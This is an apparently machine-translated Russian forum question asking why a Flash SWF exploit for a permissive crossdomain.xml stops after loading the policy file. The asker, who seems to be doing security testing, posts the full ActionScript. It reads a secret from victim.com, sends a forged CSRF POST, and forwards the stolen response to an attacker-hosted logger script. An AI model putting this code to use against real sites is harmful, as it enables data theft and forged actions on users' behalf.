Я использую SWF-файл, сгенерированный из следующего сценария действия, для выполнения вызовов из разных источников из SWF-файла, размещенного на http://something.subdomain.victim.com:8000/ до http://victim.com/a?secret=test.
https://victim.com, имеет разрешающий междоменный домен.xml в https://victim.com/crossdomain.xml, как указано ниже.
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.victim.com" />
</cross-domain-policy>
Action Script
// Adaptation of an exploit by John M as defined in
// https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
// PHP serverside is replaced with a simpler python cgi. Thanks to trustedsec
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLVariables;
import flash.net.URLLoader;
import flash.net.URLLoaderDataFormat;
public class crossDomain extends Sprite {
public function crossDomain() {
// Fetching secret.
var firstrequest:URLRequest = new URLRequest("https://victim.com/a?secret=test");
var firstloader:URLLoader = new URLLoader();
firstloader.addEventListener(Event.COMPLETE, completeHandler);
try {
firstloader.load(firstrequest);
} catch (error: Error) {
trace("Unable to load URL: " + error);
}
// Performing CSRF with a POST
var secondvariables:URLVariables = new URLVariables("a=test1&b=test2&c=test3&final=nothing");
var secondrequest:URLRequest = new URLRequest("http://victim.com/someaction.html");
secondrequest.method = URLRequestMethod.POST;
secondrequest.data = secondvariables;
var secondloader:URLLoader = new URLLoader();
secondloader.dataFormat = URLLoaderDataFormat.VARIABLES;
try {
secondloader.load(secondrequest);
} catch (error: Error) {
trace("Unable to load URL");
}
}
private function completeHandler(event: Event): void {
// Retreiving the HTTP responses to attacker server.
var request:URLRequest = new URLRequest("http://something.subdomain.victim.com:8000/cgi-bin/postlogger.py");
var variables:URLVariables = new URLVariables();
variables.data = event.target.data;
request.method = URLRequestMethod.POST;
request.data = variables;
var loader:URLLoader = new URLLoader();
try {
loader.load(request);
} catch (error: Error) {
trace("Unable to load URL");
}
}
}
}
- Я протестировал этот код локально, настроив localhost как источник жертвы, который служит подстановочным знаком crossdomain.xml [
<allow-access-from domain="*" />
] - 127.0.0.1 в качестве источника атакующего, который служит crossDomain.swf
- SWF-файл работал точно так же, как и для запроса crossdomain.xml сначала следуют вызовы к двум URL-адресам в источнике localhost , определенном в ActionScript.
- Однако при размещении этого на http://something.subdomain.victim.com:8000, первый шаг, когда он получает междоменный домен.xml от https://victim.com/crossdomain.xml происходит. Однако дальнейших запросов нет.
- Чтобы убедиться, что это не проблема междоменной политики. Я сделал Man-In-The-Middle и заменил
<allow-access-from domain="*.victim.com" />
на <allow-access-from domain="*" />
. - Так что на данном этапе, что касается браузера, crossdomainxml для жертвы.com - это *. Еще больше запросов не происходит.
Я не могу найти потенциальную причину этого запутанного поведения. Я Noob ActionScript. Любые указатели на то, почему это происходит, будут высоко оценены.